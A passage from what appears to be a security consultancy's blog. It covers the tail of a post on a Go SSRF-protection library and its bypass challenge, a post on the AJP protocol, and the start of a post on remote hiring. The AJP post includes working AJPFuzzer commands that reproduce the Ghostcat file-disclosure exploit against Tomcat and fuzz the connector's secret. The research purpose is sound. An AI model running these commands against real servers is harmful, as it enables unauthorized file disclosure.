<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">config</span> <span class="o">:=</span> <span class="n">GetConfigBuilder</span><span class="p">()</span><span class="o">.</span><span class="n">Build</span><span class="p">()</span>
</code></pre></div></div>
<p>Using this configuration you get:</p>
<ul>
<li>allowed traffic only for ports 80 and 443</li>
<li>allowed traffic which uses HTTP or HTTPS protocols</li>
<li>blocked traffic to private IP addresses</li>
<li>blocked IPv6 traffic to any address</li>
<li>mitigation for DNS rebinding attacks</li>
</ul>
<h2 id="configuration">Configuration</h2>
<p>The <code class="language-plaintext highlighter-rouge">safeurl.Config</code> is used to customize the <code class="language-plaintext highlighter-rouge">safeurl.Client</code>. The configuration can be used to set the following:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>AllowedPorts - list of ports the application can connect to
AllowedSchemes - list of schemas the application can use
AllowedHosts - list of hosts the application is allowed to communicate with
BlockedIPs - list of IP addresses the application is not allowed to connect to
AllowedIPs - list of IP addresses the application is allowed to connect to
AllowedCIDR - list of CIDR range the application is allowed to connect to
BlockedCIDR - list of CIDR range the application is not allowed to connect to
IsIPv6Enabled - specifies whether communication through IPv6 is enabled
AllowSendingCredentials - specifies whether HTTP credentials should be sent
IsDebugLoggingEnabled - enables debug logs
</code></pre></div></div>
<p>Being a wrapper around Go’s native <code class="language-plaintext highlighter-rouge">net/http.Client</code>, the library allows you to configure others standard settings as well, such as HTTP redirects, cookie jar settings and request timeouts. Please refer to the <a href="https://pkg.go.dev/net/http#Client">official docs</a> for more information on the suggested configuration for production environments.</p>
<h2 id="configuration-examples">Configuration examples</h2>
<p>To showcase how versatile <code class="language-plaintext highlighter-rouge">safeurl.Client</code> is, let us show you a few configuration examples.</p>
<p>It is possible to allow only a single <strong>schema</strong>:</p>
<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">GetConfigBuilder</span><span class="p">()</span><span class="o">.</span>
<span class="n">SetAllowedSchemes</span><span class="p">(</span><span class="s">"http"</span><span class="p">)</span><span class="o">.</span>
<span class="n">Build</span><span class="p">()</span>
</code></pre></div></div>
<p>Or configure one or more allowed <strong>ports</strong>:</p>
<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">// This enables only port 8080. All others are blocked (80, 443 are blocked too)</span>
<span class="n">GetConfigBuilder</span><span class="p">()</span><span class="o">.</span>
<span class="n">SetAllowedPorts</span><span class="p">(</span><span class="m">8080</span><span class="p">)</span><span class="o">.</span>
<span class="n">Build</span><span class="p">()</span>
<span class="c">// This enables only port 8080, 443, 80</span>
<span class="n">GetConfigBuilder</span><span class="p">()</span><span class="o">.</span>
<span class="n">SetAllowedPorts</span><span class="p">(</span><span class="m">8080</span><span class="p">,</span> <span class="m">80</span><span class="p">,</span> <span class="m">443</span><span class="p">)</span><span class="o">.</span>
<span class="n">Build</span><span class="p">()</span>
<span class="c">// **Incorrect.** This configuration will allow traffic to the last allowed port (443), and overwrite any that was set before</span>
<span class="n">GetConfigBuilder</span><span class="p">()</span><span class="o">.</span>
<span class="n">SetAllowedPorts</span><span class="p">(</span><span class="m">8080</span><span class="p">)</span><span class="o">.</span>
<span class="n">SetAllowedPorts</span><span class="p">(</span><span class="m">80</span><span class="p">)</span><span class="o">.</span>
<span class="n">SetAllowedPorts</span><span class="p">(</span><span class="m">443</span><span class="p">)</span><span class="o">.</span>
<span class="n">Build</span><span class="p">()</span>
</code></pre></div></div>
<p>This configuration allows traffic to only one host, <code class="language-plaintext highlighter-rouge">example.com</code> in this case:</p>
<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">GetConfigBuilder</span><span class="p">()</span><span class="o">.</span>
<span class="n">SetAllowedHosts</span><span class="p">(</span><span class="s">"example.com"</span><span class="p">)</span><span class="o">.</span>
<span class="n">Build</span><span class="p">()</span>
</code></pre></div></div>
<p>Additionally, you can block specific IPs (IPv4 or IPv6):</p>
<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">GetConfigBuilder</span><span class="p">()</span><span class="o">.</span>
<span class="n">SetBlockedIPs</span><span class="p">(</span><span class="s">"1.2.3.4"</span><span class="p">)</span><span class="o">.</span>
<span class="n">Build</span><span class="p">()</span>
</code></pre></div></div>
<p>Note that with the previous configuration, the <code class="language-plaintext highlighter-rouge">safeurl.Client</code> will block the IP 1.2.3.4 in addition to all IPs belonging to internal, private or reserved networks.</p>
<p>If you wish to allow traffic to an IP address, which the client blocks by default, you can use the following configuration:</p>
<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">GetConfigBuilder</span><span class="p">()</span><span class="o">.</span>
<span class="n">SetAllowedIPs</span><span class="p">(</span><span class="s">"10.10.100.101"</span><span class="p">)</span><span class="o">.</span>
<span class="n">Build</span><span class="p">()</span>
</code></pre></div></div>
<p>It’s also possible to allow or block full CIDR ranges instead of single IPs:</p>
<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">GetConfigBuilder</span><span class="p">()</span><span class="o">.</span>
<span class="n">EnableIPv6</span><span class="p">(</span><span class="no">true</span><span class="p">)</span><span class="o">.</span>
<span class="n">SetBlockedIPsCIDR</span><span class="p">(</span><span class="s">"34.210.62.0/25"</span><span class="p">,</span> <span class="s">"216.239.34.0/25"</span><span class="p">,</span> <span class="s">"2001:4860:4860::8888/32"</span><span class="p">)</span><span class="o">.</span>
<span class="n">Build</span><span class="p">()</span>
</code></pre></div></div>
<h2 id="dns-rebinding-mitigation">DNS Rebinding mitigation</h2>
<p>DNS rebinding attacks are possible due to a mismatch in the DNS responses between two (or more) consecutive HTTP requests. This vulnerability is a typical TOCTOU problem. At the time-of-check (TOC), the IP points to an allowed destination. However, at the time-of-use (TOU), it will point to a completely different IP address.</p>
<p>DNS rebinding protection in <code class="language-plaintext highlighter-rouge">safeurl</code> is accomplished by performing the allow/block list validations on the actual IP address which will be used to make the HTTP request. This is achieved by utilizing Go’s <code class="language-plaintext highlighter-rouge">net/dialer</code> package and the provided <code class="language-plaintext highlighter-rouge">Control</code> hook. As stated in the official documentation:</p>
<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">// If Control is not nil, it is called after creating the network</span>
<span class="c">// connection but before actually dialing.</span>
<span class="n">Control</span> <span class="k">func</span><span class="p">(</span><span class="n">network</span><span class="p">,</span> <span class="n">address</span> <span class="kt">string</span><span class="p">,</span> <span class="n">c</span> <span class="n">syscall</span><span class="o">.</span><span class="n">RawConn</span><span class="p">)</span> <span class="kt">error</span>
</code></pre></div></div>
<p>In our <code class="language-plaintext highlighter-rouge">safeurl</code> implementation, the IPs validation happens <em>inside</em> the <code class="language-plaintext highlighter-rouge">Control</code> hook. The following snippet shows some of the checks being performed. If all of them pass, the HTTP dial occurs. In case a check fails, the HTTP request is dropped.</p>
<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">func</span> <span class="n">buildRunFunc</span><span class="p">(</span><span class="n">wc</span> <span class="o">*</span><span class="n">WrappedClient</span><span class="p">)</span> <span class="k">func</span><span class="p">(</span><span class="n">network</span><span class="p">,</span> <span class="n">address</span> <span class="kt">string</span><span class="p">,</span> <span class="n">c</span> <span class="n">syscall</span><span class="o">.</span><span class="n">RawConn</span><span class="p">)</span> <span class="kt">error</span> <span class="p">{</span>
<span class="k">return</span> <span class="k">func</span><span class="p">(</span><span class="n">network</span><span class="p">,</span> <span class="n">address</span> <span class="kt">string</span><span class="p">,</span> <span class="n">_</span> <span class="n">syscall</span><span class="o">.</span><span class="n">RawConn</span><span class="p">)</span> <span class="kt">error</span> <span class="p">{</span>
<span class="c">// [...]</span>
<span class="k">if</span> <span class="n">wc</span><span class="o">.</span><span class="n">config</span><span class="o">.</span><span class="n">AllowedIPs</span> <span class="o">==</span> <span class="no">nil</span> <span class="o">&&</span> <span class="n">isIPBlocked</span><span class="p">(</span><span class="n">ip</span><span class="p">,</span> <span class="n">wc</span><span class="o">.</span><span class="n">config</span><span class="o">.</span><span class="n">BlockedIPs</span><span class="p">)</span> <span class="p">{</span>
<span class="n">wc</span><span class="o">.</span><span class="n">log</span><span class="p">(</span><span class="n">fmt</span><span class="o">.</span><span class="n">Sprintf</span><span class="p">(</span><span class="s">"ip: %v found in blocklist"</span><span class="p">,</span> <span class="n">ip</span><span class="p">))</span>
<span class="k">return</span> <span class="o">&</span><span class="n">AllowedIPError</span><span class="p">{</span><span class="n">ip</span><span class="o">:</span> <span class="n">ip</span><span class="o">.</span><span class="n">String</span><span class="p">()}</span>
<span class="p">}</span>
<span class="k">if</span> <span class="o">!</span><span class="n">isIPAllowed</span><span class="p">(</span><span class="n">ip</span><span class="p">,</span> <span class="n">wc</span><span class="o">.</span><span class="n">config</span><span class="o">.</span><span class="n">AllowedIPs</span><span class="p">)</span> <span class="o">&&</span> <span class="n">isIPBlocked</span><span class="p">(</span><span class="n">ip</span><span class="p">,</span> <span class="n">wc</span><span class="o">.</span><span class="n">config</span><span class="o">.</span><span class="n">BlockedIPs</span><span class="p">)</span> <span class="p">{</span>
<span class="n">wc</span><span class="o">.</span><span class="n">log</span><span class="p">(</span><span class="n">fmt</span><span class="o">.</span><span class="n">Sprintf</span><span class="p">(</span><span class="s">"ip: %v not found in allowlist"</span><span class="p">,</span> <span class="n">ip</span><span class="p">))</span>
<span class="k">return</span> <span class="o">&</span><span class="n">AllowedIPError</span><span class="p">{</span><span class="n">ip</span><span class="o">:</span> <span class="n">ip</span><span class="o">.</span><span class="n">String</span><span class="p">()}</span>
<span class="p">}</span>
<span class="k">return</span> <span class="no">nil</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<h1 id="help-us-make-safeurl-better-and-safer">Help Us Make <code class="language-plaintext highlighter-rouge">safeurl</code> Better (and Safer)</h1>
<p>We’ve performed extensive testing during the library development. However, we would love to have others pick at our implementation.</p>
<blockquote>
<p>“Given enough eyes, all bugs are shallow”. Hopefully.</p>
</blockquote>
<p>Connect to <a href="http://164.92.85.153/">http://164.92.85.153/</a> and attempt to catch the flag hosted on this internal (and unauthorized) URL: <code class="language-plaintext highlighter-rouge">http://164.92.85.153/flag</code></p>
<p><strong>The challenge was shut down on 01/13/2023.</strong> You can always run the challenge locally, by using the code snippet below.</p>
<p>This is the source code of the challenge endpoint, with the specific <code class="language-plaintext highlighter-rouge">safeurl</code> configuration:</p>
<div class="language-golang highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">func</span> <span class="n">main</span><span class="p">()</span> <span class="p">{</span>
<span class="n">cfg</span> <span class="o">:=</span> <span class="n">safeurl</span><span class="o">.</span><span class="n">GetConfigBuilder</span><span class="p">()</span><span class="o">.</span>
<span class="n">SetBlockedIPs</span><span class="p">(</span><span class="s">"164.92.85.153"</span><span class="p">)</span><span class="o">.</span>
<span class="n">SetAllowedPorts</span><span class="p">(</span><span class="m">80</span><span class="p">,</span> <span class="m">443</span><span class="p">)</span><span class="o">.</span>
<span class="n">Build</span><span class="p">()</span>
<span class="n">client</span> <span class="o">:=</span> <span class="n">safeurl</span><span class="o">.</span><span class="n">Client</span><span class="p">(</span><span class="n">cfg</span><span class="p">)</span>
<span class="n">router</span> <span class="o">:=</span> <span class="n">gin</span><span class="o">.</span><span class="n">Default</span><span class="p">()</span>
<span class="n">router</span><span class="o">.</span><span class="n">GET</span><span class="p">(</span><span class="s">"/webhook"</span><span class="p">,</span> <span class="k">func</span><span class="p">(</span><span class="n">context</span> <span class="o">*</span><span class="n">gin</span><span class="o">.</span><span class="n">Context</span><span class="p">)</span> <span class="p">{</span>
<span class="n">urlFromUser</span> <span class="o">:=</span> <span class="n">context</span><span class="o">.</span><span class="n">Query</span><span class="p">(</span><span class="s">"url"</span><span class="p">)</span>
<span class="k">if</span> <span class="n">urlFromUser</span> <span class="o">==</span> <span class="s">""</span> <span class="p">{</span>
<span class="n">errorMessage</span> <span class="o">:=</span> <span class="s">"Please provide an url. Example: /webhook?url=your-url.com</span><span class="se">\n</span><span class="s">"</span>
<span class="n">context</span><span class="o">.</span><span class="n">String</span><span class="p">(</span><span class="n">http</span><span class="o">.</span><span class="n">StatusBadRequest</span><span class="p">,</span> <span class="n">errorMessage</span><span class="p">)</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="n">stringResponseMessage</span> <span class="o">:=</span> <span class="s">"The server is checking the url: "</span> <span class="o">+</span> <span class="n">urlFromUser</span> <span class="o">+</span> <span class="s">"</span><span class="se">\n</span><span class="s">"</span>
<span class="n">resp</span><span class="p">,</span> <span class="n">err</span> <span class="o">:=</span> <span class="n">client</span><span class="o">.</span><span class="n">Get</span><span class="p">(</span><span class="n">urlFromUser</span><span class="p">)</span>
<span class="k">if</span> <span class="n">err</span> <span class="o">!=</span> <span class="no">nil</span> <span class="p">{</span>
<span class="n">stringError</span> <span class="o">:=</span> <span class="n">fmt</span><span class="o">.</span><span class="n">Errorf</span><span class="p">(</span><span class="s">"request return error: %v"</span><span class="p">,</span> <span class="n">err</span><span class="p">)</span>
<span class="n">fmt</span><span class="o">.</span><span class="n">Print</span><span class="p">(</span><span class="n">stringError</span><span class="p">)</span>
<span class="n">context</span><span class="o">.</span><span class="n">String</span><span class="p">(</span><span class="n">http</span><span class="o">.</span><span class="n">StatusBadRequest</span><span class="p">,</span> <span class="n">err</span><span class="o">.</span><span class="n">Error</span><span class="p">())</span>
<span class="k">return</span>
<span class="p">}</span>
<span class="k">defer</span> <span class="n">resp</span><span class="o">.</span><span class="n">Body</span><span class="o">.</span><span class="n">Close</span><span class="p">()</span>
<span class="n">bodyString</span><span class="p">,</span> <span class="n">err</span> <span class="o">:=</span> <span class="n">io</span><span class="o">.</span><span class="n">ReadAll</span><span class="p">(</span><span class="n">resp</span><span class="o">.</span><span class="n">Body</span><span class="p">)</span>
<span class="k">if</span> <span class="n">err</span> <span class="o">!=</span> <span class="no">nil</span> <span class="p">{</span>
<span class="n">context</span><span class="o">.</span><span class="n">String</span><span class="p">(</span><span class="n">http</span><span class="o">.</span><span class="n">StatusInternalServerError</span><span class="p">,</span> <span class="n">err</span><span class="o">.</span><span class="n">Error</span><span class="p">())</span>
<span class="k">return</span>
<span class="p">}</span>
<span class="n">fmt</span><span class="o">.</span><span class="n">Print</span><span class="p">(</span><span class="s">"Response from the server: "</span> <span class="o">+</span> <span class="n">stringResponseMessage</span><span class="p">)</span>
<span class="n">fmt</span><span class="o">.</span><span class="n">Print</span><span class="p">(</span><span class="n">resp</span><span class="p">)</span>
<span class="n">context</span><span class="o">.</span><span class="n">String</span><span class="p">(</span><span class="n">http</span><span class="o">.</span><span class="n">StatusOK</span><span class="p">,</span> <span class="kt">string</span><span class="p">(</span><span class="n">bodyString</span><span class="p">))</span>
<span class="p">}</span>
<span class="p">})</span>
<span class="n">router</span><span class="o">.</span><span class="n">GET</span><span class="p">(</span><span class="s">"/flag"</span><span class="p">,</span> <span class="k">func</span><span class="p">(</span><span class="n">context</span> <span class="o">*</span><span class="n">gin</span><span class="o">.</span><span class="n">Context</span><span class="p">)</span> <span class="p">{</span>
<span class="n">ip</span> <span class="o">:=</span> <span class="n">context</span><span class="o">.</span><span class="n">RemoteIP</span><span class="p">()</span>
<span class="n">nip</span> <span class="o">:=</span> <span class="n">net</span><span class="o">.</span><span class="n">ParseIP</span><span class="p">(</span><span class="n">ip</span><span class="p">)</span>
<span class="k">if</span> <span class="n">nip</span> <span class="o">!=</span> <span class="no">nil</span> <span class="p">{</span>
<span class="k">if</span> <span class="n">nip</span><span class="o">.</span><span class="n">IsLoopback</span><span class="p">()</span> <span class="p">{</span>
<span class="n">context</span><span class="o">.</span><span class="n">String</span><span class="p">(</span><span class="n">http</span><span class="o">.</span><span class="n">StatusOK</span><span class="p">,</span> <span class="s">"You found the flag"</span><span class="p">)</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="n">context</span><span class="o">.</span><span class="n">String</span><span class="p">(</span><span class="n">http</span><span class="o">.</span><span class="n">StatusForbidden</span><span class="p">,</span> <span class="s">""</span><span class="p">)</span>
<span class="p">}</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="n">context</span><span class="o">.</span><span class="n">String</span><span class="p">(</span><span class="n">http</span><span class="o">.</span><span class="n">StatusInternalServerError</span><span class="p">,</span> <span class="s">""</span><span class="p">)</span>
<span class="p">}</span>
<span class="p">})</span>
<span class="n">router</span><span class="o">.</span><span class="n">GET</span><span class="p">(</span><span class="s">"/"</span><span class="p">,</span> <span class="k">func</span><span class="p">(</span><span class="n">context</span> <span class="o">*</span><span class="n">gin</span><span class="o">.</span><span class="n">Context</span><span class="p">)</span> <span class="p">{</span>
<span class="n">indexPage</span> <span class="o">:=</span> <span class="s">"<!DOCTYPE html><html lang=</span><span class="se">\"</span><span class="s">en</span><span class="se">\"</span><span class="s">><head><title>SafeURL - challenge</title></head><body>...</body></html>"</span>
<span class="n">context</span><span class="o">.</span><span class="n">Writer</span><span class="o">.</span><span class="n">Header</span><span class="p">()</span><span class="o">.</span><span class="n">Set</span><span class="p">(</span><span class="s">"Content-Type"</span><span class="p">,</span> <span class="s">"text/html; charset=UTF-8"</span><span class="p">)</span>
<span class="n">context</span><span class="o">.</span><span class="n">String</span><span class="p">(</span><span class="n">http</span><span class="o">.</span><span class="n">StatusOK</span><span class="p">,</span> <span class="n">indexPage</span><span class="p">)</span>
<span class="p">})</span>
<span class="n">router</span><span class="o">.</span><span class="n">Run</span><span class="p">(</span><span class="s">"127.0.0.1:8080"</span><span class="p">)</span>
<span class="p">}</span>
</code></pre></div></div>
<p>If you are able to bypass the check enforced by the <code class="language-plaintext highlighter-rouge">safeurl.Client</code>, the content of the flag will give you further instructions on how to collect your reward. Please note that unintended ways of getting the flag (e.g., not bypassing <code class="language-plaintext highlighter-rouge">safeurl.Client</code>) are considered out of scope.</p>
<p>Feel free to contribute with <a href="https://github.com/doyensec/safeurl/pulls">pull requests</a>, <a href="https://github.com/doyensec/safeurl/issues">bug reports or enhancements</a> ideas.</p>
<p>This tool was possible thanks to the <a href="https://doyensec.com/careers.html">25% research time</a> at Doyensec. Tune in again for new episodes.</p>
Let's speak AJP2022-11-15T00:00:00+01:00https://blog.doyensec.com/2022/11/15/learning-ajp<h2 id="introduction">Introduction</h2>
<p><strong>AJP (Apache JServ Protocol)</strong> is a binary protocol developed in 1997 with the goal of improving the performance of the traditional HTTP/1.1 protocol especially when proxying HTTP traffic between a web server and a J2EE container. It was originally created to manage efficiently the network throughput while forwarding requests from server A to server B.</p>
<p>A typical use case for this protocol is shown below:
<img src="../../../public/images/ajp-schema.png" alt="AJP schema" align="center" style="display: block; margin-left: auto; margin-right: auto;" /></p>
<p>During one of my recent research weeks at Doyensec, I studied and analyzed how this protocol works and its implementation within some popular web servers and Java containers. The research also aimed at reproducing the infamous <strong>Ghostcat</strong> (CVE-2020-1938) vulnerability discovered in Tomcat by Chaitin Tech researchers, and potential discovering other look-alike bugs.</p>
<h2 id="ghostcat">Ghostcat</h2>
<p>This vulnerability affected the AJP connector component of the Apache Tomcat Java servlet container, allowing malicious actors to perform local file inclusion from the application root directory. In some circumstances, this issue would allow attackers to perform arbitrary command execution. For more details about Ghostcat, please refer to the following blog post: <a href="https://hackmag.com/security/apache-tomcat-rce/" target="_blank">https://hackmag.com/security/apache-tomcat-rce/</a></p>
<h2 id="communicating-via-ajp">Communicating via AJP</h2>
<p>Back in 2017, our own <a href="https://twitter.com/lucacarettoni">Luca Carettoni</a> developed and released <a href="https://github.com/doyensec/libajp13">one of the first, if not the first, open source libraries</a> implementing the <a href="https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html">Apache JServ Protocol</a> version 1.3 (ajp13). With that, he also developed <a href="https://github.com/doyensec/ajpfuzzer">AJPFuzzer</a>. Essentially, this is a rudimental fuzzer that makes it easy to send handcrafted AJP messages, run message mutations, test directory traversals and fuzz on arbitrary elements within the packet.</p>
<p>With minor tuning, AJPFuzzer can be also used to quickly reproduce the GhostCat vulnerability. In fact, we’ve successfully reproduced the attack by sending a crafted <code class="language-plaintext highlighter-rouge">forwardrequest</code> request including the <a href="https://tomcat.apache.org/tomcat-8.0-doc/servletapi/javax/servlet/RequestDispatcher.html#INCLUDE_SERVLET_PATH" target="_blank"><code class="language-plaintext highlighter-rouge">javax.servlet.include.servlet_path</code></a> and <a href="https://tomcat.apache.org/tomcat-8.0-doc/servletapi/javax/servlet/RequestDispatcher.html#INCLUDE_PATH_INFO" target="_blank"><code class="language-plaintext highlighter-rouge">javax.servlet.include.path_info</code></a> Java attributes, as shown below:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>java <span class="nt">-jar</span> ajpfuzzer_v0.7.jar
<span class="nv">$ </span>AJPFuzzer> connect 192.168.80.131 8009
connect 192.168.80.131 8009
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Connecting to 192.168.80.131:8009
Connected to the remote AJP13 service
</code></pre></div></div>
<p>Once connected to the target host, send the malicious <code class="language-plaintext highlighter-rouge">ForwardRequest</code> packet message and verify the discosure of the <code class="language-plaintext highlighter-rouge">test.xml</code> file:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>AJPFuzzer/192.168.80.131:8009> forwardrequest 2 <span class="s2">"HTTP/1.1"</span> <span class="s2">"/"</span> 127.0.0.1 192.168.80.131 192.168.80.131 8009 <span class="nb">false</span> <span class="s2">"Cookie:test=value"</span> <span class="s2">"javax.servlet.include.path_info:/WEB-INF/test.xml,javax.servlet.include.servlet_path:/"</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Sending Test Case <span class="s1">'(2) forwardrequest'</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span> 2022-10-13 23:02:45.648
... trimmed ...
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Received message <span class="nb">type</span> <span class="s1">'Send Body Chunk'</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Received message description <span class="s1">'Send a chunk of the body from the servlet container to the web server.
Content (HEX):
0x3C68656C6C6F3E646F79656E7365633C2F68656C6C6F3E0A
Content (Ascii):
<hello>doyensec</hello>
'</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span> 2022-10-13 23:02:46.859
00000000 41 42 00 1C 03 00 18 3C 68 65 6C 6C 6F 3E 64 6F AB.....<hello>do
00000010 79 65 6E 73 65 63 3C 2F 68 65 6C 6C 6F 3E 0A 00 yensec</hello>..
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Received message <span class="nb">type</span> <span class="s1">'End Response'</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Received message description <span class="s1">'Marks the end of the response (and thus the request-handling cycle). Reuse? Yes'</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span> 2022-10-13 23:02:46.86
</code></pre></div></div>
<p>The server AJP connector will receive an AJP message with the following structure:</p>
<p><img src="../../../public/images/ajp-schema-wireshark.png" alt="AJP schema wireshark" align="center" style="display: block; margin-left: auto; margin-right: auto;" /></p>
<p>The combination of <a href="https://github.com/doyensec/libajp13">libajp13</a>, <a href="https://github.com/doyensec/ajpfuzzer">AJPFuzzer</a> and the <a href="https://github.com/boundary/wireshark/blob/master/epan/dissectors/packet-ajp13.c">Wireshark AJP13 dissector</a> made it easier to understand the protocol and play with it. For example, another noteworthy test case in AJPFuzzer is named <code class="language-plaintext highlighter-rouge">genericfuzz</code>. By using this command, it’s possible to perform fuzzing on arbitrary elements within the AJP request, such as the request attributes name/value, secret, cookies name/value, request URI path and much more:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>AJPFuzzer> connect 192.168.80.131 8009
connect 192.168.80.131 8009
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Connecting to 192.168.80.131:8009
Connected to the remote AJP13 service
<span class="nv">$ </span>AJPFuzzer/192.168.80.131:8009> genericfuzz 2 <span class="s2">"HTTP/1.1"</span> <span class="s2">"/"</span> <span class="s2">"127.0.0.1"</span> <span class="s2">"127.0.0.1"</span> <span class="s2">"127.0.0.1"</span> 8009 <span class="nb">false</span> <span class="s2">"Cookie:AAAA=BBBB"</span> <span class="s2">"secret:FUZZ"</span> /tmp/listFUZZ.txt
</code></pre></div></div>
<p><img src="../../../public/images/ajp-valid-fuzz.png" alt="AJP schema fuzz" align="center" style="display: block; margin-left: auto; margin-right: auto;" /></p>
<h2 id="takeaways">Takeaways</h2>
<p>Web binary protocols are fun to learn and reverse engineer.</p>
<p>For defenders:</p>
<ul>
<li>Do not expose your AJP interfaces in hostile networks. Instead, consider switching to HTTP/2</li>
<li>Protect the AJP interface by enabling a shared secret. In this case, the workers must also include a matching value for the <code class="language-plaintext highlighter-rouge">secret</code></li>
</ul>
Recruiting Security Researchers Remotely2022-11-09T00:00:00+01:00https://blog.doyensec.com/2022/11/09/recruiting-security-researchers<p>At Doyensec, <strong>the application security engineer recruitment process is 100% remote</strong>. As the final step, we used to organize an onsite interview in Warsaw for candidates from Europe and in New York for candidates from the US. It was like that until 2020, when the Covid pandemic forced us to switch to a 100% remote recruitment model and hire people without meeting them in person.</p>
<div style="text-align: center;">
<img src="../../../public/images/banner-recruiting-blogpost.png" title="Banner Recruiting Post" alt="Banner Recruiting Post" align="center" style="display: block; margin-left: auto; margin-right: auto;" />
</div>
<p>We have conducted recruitment interviews with candidates from over 25 countries. So how did we build a process that, on the one hand, is inclusive for people of different nationalities and cultures, and on the other hand, allows us to understand the technical skills of a given candidate?</p>
<p>The recruitment process below is the result of the experience gathered since 2018.</p>
<h1 id="introduction-call">Introduction Call</h1>
<p>Before we start the recruitment process of a given candidate, we want to get to know someone better. We want to understand their motivations for changing the workplace as well as what they want to do in the next few years. Doyensec only employs people with a specific mindset, so it is crucial for us to get to know someone before asking them to present their technical skills.</p>
<p>During our initial conversation, our HR specialist will tell a candidate more about the company, how we work, where our clients come from and the general principles of cooperation with us. We will also leave time for the candidate so that they can ask any questions they want.</p>
<p>What do we pay attention to during the introduction call?</p>
<ul>
<li>Knowledge of the English language for applicants who are not native speakers</li>
<li>Professionalism - although people come from different cultures, professionalism is international</li>
<li>Professional experience that indicates the candidate has the background to be successful in the relevant role with us</li>
<li>General character traits that can tell us if someone will fit in well with our team</li>
</ul>
<p>If the financial expectations of the candidate are in line with what we can offer and we feel good about the candidate, we will proceed to the first technical skills test.</p>
<h1 id="source-code-challenge">Source Code Challenge</h1>
<p>At Doyensec, we frequently deal with source code that is provided by our clients. We like to combine source code analysis with dynamic testing. We believe this combination will bring the highest ROI to our customers. This is why we require each candidate to be able to analyze application source code.</p>
<p>Our source code challenge is arranged such that, at the agreed time, we send an archive of source code to the candidate and ask them to find as many vulnerabilities as possible within 2 hours. They are also asked to prepare short descriptions of these vulnerabilities according to the instructions that we send along with the challenge. The aim of this assignment is to understand how well the candidate can analyze the source code and also how efficiently they can work under time pressure.</p>
<p>We do not reveal in advance what programming languages are in our tests, but they should expect the more popular ones. We don’t test on niche languages as our goal is to check if they are able to find vulnerabilities in real-world code, not to try to stump them with trivia or esoteric challenges.</p>
<p>We feel nothing beats real-world experience in coding and reviewing code for vulnerabilities. Beyond that, examples of the academic knowledge necessary to pass our code review challenge is similar (but not limited) to what you’d find in the following resources:</p>
<ul>
<li><a href="https://wiki.sei.cmu.edu/confluence/display/java/Java+Coding+Guidelines">CERT’s Java Coding Guidlines</a></li>
<li><a href="https://wiki.sei.cmu.edu/confluence/display/android/Android+Secure+Coding+Standard">CERT’s Android Secure Coding Standard</a></li>
<li><a href="https://support.apple.com/guide/security/intro-to-app-security-for-ios-and-ipados-secf49cad4db/web">Apple’s Intro to app security for iOS and iPadOS</a></li>
</ul>
<h1 id="technical-interview">Technical Interview</h1>
<p>After analyzing the results of the first challenge, we decide whether to invite the candidate to the first technical interview. The interview is usually conducted by our Consulting Director or one of the more experienced consultants.</p>
<p>The interview will last about 45 minutes where we will ask questions that will help us understand the candidates’ skillsets and determine their level of seniority. During this conversation, we will also ask about mistakes made during the source code challenge. We want to understand why someone may have reported a vulnerability when it is not there or perhaps why someone missed a particular, easy to detect vulnerability.</p>
<p>We also encourage candidates to ask questions about how we work, what tools and techniques we use and anything else that may interest the candidate.</p>
<p>The knowledge necessary to be successful in this phase of the process comes from real-world experience, coupled with academic knowledge from sources such as these:</p>
<ul>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/Security">Mozilla’s Web security reference</a></li>
<li><a href="https://www.amazon.com/Web-Application-Hackers-Handbook-Exploiting/dp/1118026470">The Web Application Hacker’s Handbook</a></li>
<li><a href="https://www.amazon.com/Tangled-Web-Securing-Modern-Applications/dp/1593273886">The Tangled Web</a></li>
<li><a href="https://github.com/tadwhitaker/Security_Engineer_Interview_Questions/blob/master/security-interview-questions.md">Examples of common Security Engineering interview questions</a></li>
<li><a href="https://cheatsheetseries.owasp.org/index.html">OWASP’s Cheat Sheet Series</a></li>
</ul>
<h1 id="web-challenge">Web Challenge</h1>
<p>At four hours in length, our Web Challenge is our last and longest test of technical skills. At an agreed upon time, we send the candidate a link to a web application that contains a certain number of vulnerabilities and the candidate’s task is to find as many vulnerabilities as possible and prepare a simplified report. Unlike the previous technical challenge where we checked the ability to read the source code, this is a 100% blackbox test.</p>
<p>We recommend candidates to feel comfortable with topics similar to those covered at the <a href="https://portswigger.net/web-security">Portswigger Web Security Academy</a>, or the training/CTFs available through sites such as <a href="https://www.hackerone.com/hackers/hacker101">HackerOne</a>, prior attempting this challenge.</p>
<p>If the candidate passes this stage of the recruitment process, they will only have one last stage, an interview with the founders of the company.</p>
<h1 id="final-interview">Final Interview</h1>
